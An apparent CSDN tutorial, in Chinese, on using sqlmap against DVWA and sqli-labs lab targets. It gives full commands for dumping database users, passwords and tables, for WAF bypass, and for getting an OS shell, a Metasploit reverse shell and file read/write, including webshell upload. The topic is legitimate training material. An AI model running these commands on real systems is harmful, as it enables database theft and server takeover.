sqlmap的基本和扩展功能的使用详解(具体操作+图解)

一)sqlmap介绍:
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令

Sqlmap采用了以下的SQL注入技术

1) 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
2) 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间3) 延迟语句是否已经执行(即页面返回时间是否增加)来判断
4) 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
5) 联合查询注入,在可以使用Union的情况下注入
6) 堆查询注入,可以同时执行多条语句时的注入
python sqlmap.py --version  ——查看sqlmap的版本

使用 -h 参数查看sqlmap的参数以及用法:sqlmap -h或者 sqlmap --help
在这里插入图片描述
当我们开始使用sqlmap时,会提示:
在这里插入图片描述
这是告诉所有sqlmap的使用者:[!] 法律免责声明: 未经双方同意使用 sqlmap 攻击目标是非法的。 最终用户有责任遵守所有适用的本地法律,州法律和联邦法律。 开发人员不承担任何责任,并不负责任何误用或损害所造成的这个程序。

同时,在我们开始使用sqlmap进行注入漏洞存在与否的判断时,会出现:
在这里插入图片描述
这是警告我们:已经用手动 sql 注入测试中最可能剩下的字符/语句提供了受污染的参数值(‘ id = 1”)。请始终只使用有效的参数值,以便 sqlmap 能够正确运行。


sqlmap默认的User-Agent:sqlmap/1.1.9.22#dev (http://sqlmap.org)

在这里插入图片描述
二)sqlmap使用

  1)简单常用的用法:

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-pwn   #执行--os-pwn命令,将目标权限弹到MSF上
 
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
 
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)
  
sqlmap -d "mysql://root:root@192.168.10.130:3306/mysql" --os-shell   #知道网站的账号密码直接连接
 
-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段
 
--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

在这里插入图片描述

 1-1)探测指定URL是否存在SQL注入漏洞

  a)不用登录且是get型的网站,直接指定其URL

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="获取的cookie值"

注:如果不给定cookie那么会提示“ 出现302 redirect(重定向) ",询问是否继续:
在这里插入图片描述
  b)需要登录且是get型的网站(可以用账号密码登录,然后用抓包工具抓取其cookie填入)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="抓取的cookie" 

  c)post型的网站(需要指定其data参数)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"

可以通过抓取 http 数据包保存为文件,然后指定该文件。这样就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。例如:我们抓取了一个post提交数据的数据包保存为post.txt,uname参数和passwd参数存在SQL注入漏洞。

我们探测完之后sqlmap会自动创建并将结果保存在C:\Users\A_K\.sqlmap\output\192.168.67.143/target.txt中,所以我们也可以使用

在这里插入代码片

探测目标URL是否存在漏洞的过程中,Sqlmap会和我们进行三次交互。第一次交互是说这个目标系统的数据库好像是Mysql数据库,是否还探测其他类型的数据库。如果已经知道是,mysql数据库那么就选择 n【不探测其他类型的数据库了】,如果尚未确定数据库类型那么就选择 y第二处交互是说 对于剩下的测试是否想要使用扩展提供的级别 (1) 和风险 (1) 值的“MySQL”的所有测试吗? 选择 y。第三处交互是说已经探测到参数id存在漏洞,是否还探测其他地方,选择 n 不探测其他参数了 【也可以选择 y ,根据自己需要】。

在这里插入图片描述

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n]  输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]  输入"Y"

探测结束后sqlmap就自动列出参数id存在的注入类型是boolean盲注,payload其他信息也显示出来,还列出了目标系统的版本,php,apache等信息。
在这里插入图片描述
本次探测的所有数据都自动保存在 C:\Users\A_K\.sqlmap\output\192.168.67.143
 1-2)查看数据库的所有用户(–users)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --users --technique=B -v 3 --batch

在这里插入图片描述


 1-3)查看数据库所有用户名的密码(–passwords)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --passwords --technique=B -v 3 --batch

其中会有两次交互,但是是自动默认选项在这里插入图片描述

第一处:询问是否保存hash值,选择不保存
第二处:询问是否对hash值进行爆破,选择是

结果:
在这里插入图片描述
结论:得到两个密码为 dvwa、root


 1-4)查看数据库当前用户(–current-user)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --current-user --technique=B -v 3 --batch

在这里插入图片描述


 1-5)判断当前用户是否有管理权限【查看当前账户是否为数据库管理员账户】(–is-dba)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --is-dba --technique=B -v 3 --batch

在这里插入图片描述


 1-6)列出数据库管理员角色(–roles)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --roles --technique=B -v 3 --batch

在这里插入图片描述


 1-7)查看所有的数据库(–dbs)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --dbs --technique=B -v 3 --batch

在这里插入图片描述


 1-8)查看当前的数据库(–current-db)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --current-db --technique=B -v 3 --batch

在这里插入图片描述


 1-9)爆出指定数据库中的所有的表(-D 指定的数据库 --tables)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa --tables --technique=B -v 3 --batch

在这里插入图片描述


 1-10)爆出指定数据库指定表中的所有的列(-D dvwa -T users --columns )

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa -T users --columns --technique=B -v 3 --batch

在这里插入图片描述


 1-11)爆出指定数据库指定表指定列下的指定的数据(-D dvwa -T users -C user,password --dump)

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa -T users -C user,password --dump --technique=B -v 3 --batch

在这里插入图片描述


 1-12)爆出该网站数据库中的所有数据(-D dvwa -T users --dump-all)

1) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa -T users --dump-all --technique=B -v 3 --batch
2) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" -D dvwa --dump-all --technique=B -v 3 --batch
3) python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --dump-all --technique=B -v 3 --batch

  2)更加高级的用法:

Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用–tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。Sqlmap目前官方提供53个绕过脚本。

 1)探测指定URL是否存在WAF,并且绕过

--identify-waf   检测是否有WAF
 
#使用参数进行绕过
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入

 2)指定脚本进行绕过(--tamper)【有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)】
tamper文件所在路径:

Windows:E:\python27\sqlmap\tamper
linux:/usr/share/sqlmap/tamper

python sqlmap.py --tamper=space2comment.py  #用/**/代替空格
python sqlmap.py --tamper="space2comment.py,space2plus.py"  指定多个脚本进行过滤

 3)探测等级和危险等级(--level --risk)
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。 在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思, 在不确定的情况下,建议设置为3级,--risk=3
payload文件所在路径:

Windows:E:\python27\sqlmap\xml\payloads
linux:/usr/share/sqlmap/xml/payloads
在这里插入图片描述

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --level=5 --risk=3 --technique=B -v 3 --batch

 4)伪造 Http Referer头部
Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,例如:伪造referer头为百度:
referer  http://www.baidu.com

 5)执行指定的SQL语句(--sql-shell)
python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --sql-shell --technique=B -v 3 --batch

在这里插入图片描述

在自动执行过程中会提示我们输入要查询的SQL语句【注意这里的SQL语句最后不要有分号 】
在这里插入图片描述
结果:
在这里插入图片描述

执行完后可以继续输入SQL语句进行查询,也可以按 q或x 退出。


 6)执行操作系统命令(--os-shell) 在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。当为MySQL数据库时,需满足下面三个条件:
1)当前用户为 root(或者administrator)
2)知道网站根目录的绝对路径
3)该数据库的 secure_file_priv 参数值为空(很多数据库的该值为NULL,这也就导致了即使当前用户是root,即使知道了网站根目录的绝对路径,也不能执行成功 --os-shell )
python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --os-shell --technique=B -v 3 --batch

在这里插入图片描述
在自动执行过程中会进行三次交互,第一处是选择网站的脚本语言,第二处是询问是否希望sqlmap进一步尝试引发完整路径的披露,选择 y ,第三处是选择判断网站可写目录的方法(如果尚未知道网站的根目录的绝对路径,那么就选择 4 暴力破解,尝试破解出根目录的绝对路径。如果已经知道网站根目录的绝对地址就选择 2),如下:

可以看到,其实执行os-shell的过程中,sqlmap向网站根目录写入两个文件 tmpblwkd.php 和 tmpueqch.php。真正的木马文件是 tmpblwkd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x或q 退出 sqlmap 时,该文件才会被自动删除。


 7)反弹一个MSF的shell(--os-pwn)
python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --os-pwn --technique=B -v 3 --batch

在这里插入图片描述
自动执行后会有六次交互,第一处是选择连接的tunnel,选择默认的 1 。第二处是选择网站的脚本语言,根据自己的实际情况选择。第三处是选择网站的路径,根据自己的实际情况选择(如果知道网站路径,可以选择2,然后手动输入;如果不知道路径则选择4。第四处是选择连接的类型,选择默认的1。第五处是选择监听的地址和端口,直接回车即可。第六处是选择payload的类型,选择默认的1即可。在这里插入图片描述
在这里插入图片描述
以上的所有交互及操作完成之后就可以获得一个MSF类型的shell了:
在这里插入图片描述


 8)读取服务器文件(--file-read)

【当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。】

python sqlmap.py -u "http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --file-read "E:\phpStudy\WWW\wjbh.txt" --technique=B -v 3 --batch

注:--file-read "c:/test.txt" 中的路径是想要都取的文件的所在路径。

执行成功的话就会显示成功读取并且把读取到的内容保存到一个路径下:

在这里插入图片描述
我们到对应的路径下进行查看:
在这里插入图片描述


 9)上传文件到数据库服务器中(–file-write --file-dest)


当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户**有权限**向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。所以利用上传文件,我们可以上传一句话木马或者上传shell上去。 前提是必须要知道网络的绝对路径
python sqlmap.py -u http://192.168.67.143/dvwa/vulnerabilities/sqli_blind/?id=1 --cookie="security=low; PHPSESSID=nr2dponooe45jv2bnu4np5boe5" --file-write="C:\Users\A_K\Desktop\rkolin.txt" --file-dest="E:\phpStudy\WWW\ak.txt" --technique=B -v 3 --batch

注:将本地的 C:\Users\A_K\Desktop\rkolin.txt 文件上传到目标服务器  E:\phpStudy\WWW\ak.txt

可能会出现下面的错误情况:
在这里插入图片描述
即:检测到的 sql 注入技术都不能用于将文件写入后端 mysql 服务器的底层文件系统。
这是所检测到的只有布尔盲注,它并不支持此项类型的操作。

三)给定一个url进行探测的具体流程:

DVWA——SQL注入——sqlmap实现


四)相关文献:

https://blog.csdn.net/lady_killer9/article/details/106598738
使用sqlmap对进行php+mysql注入实战
利用sqlmap进行POST注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值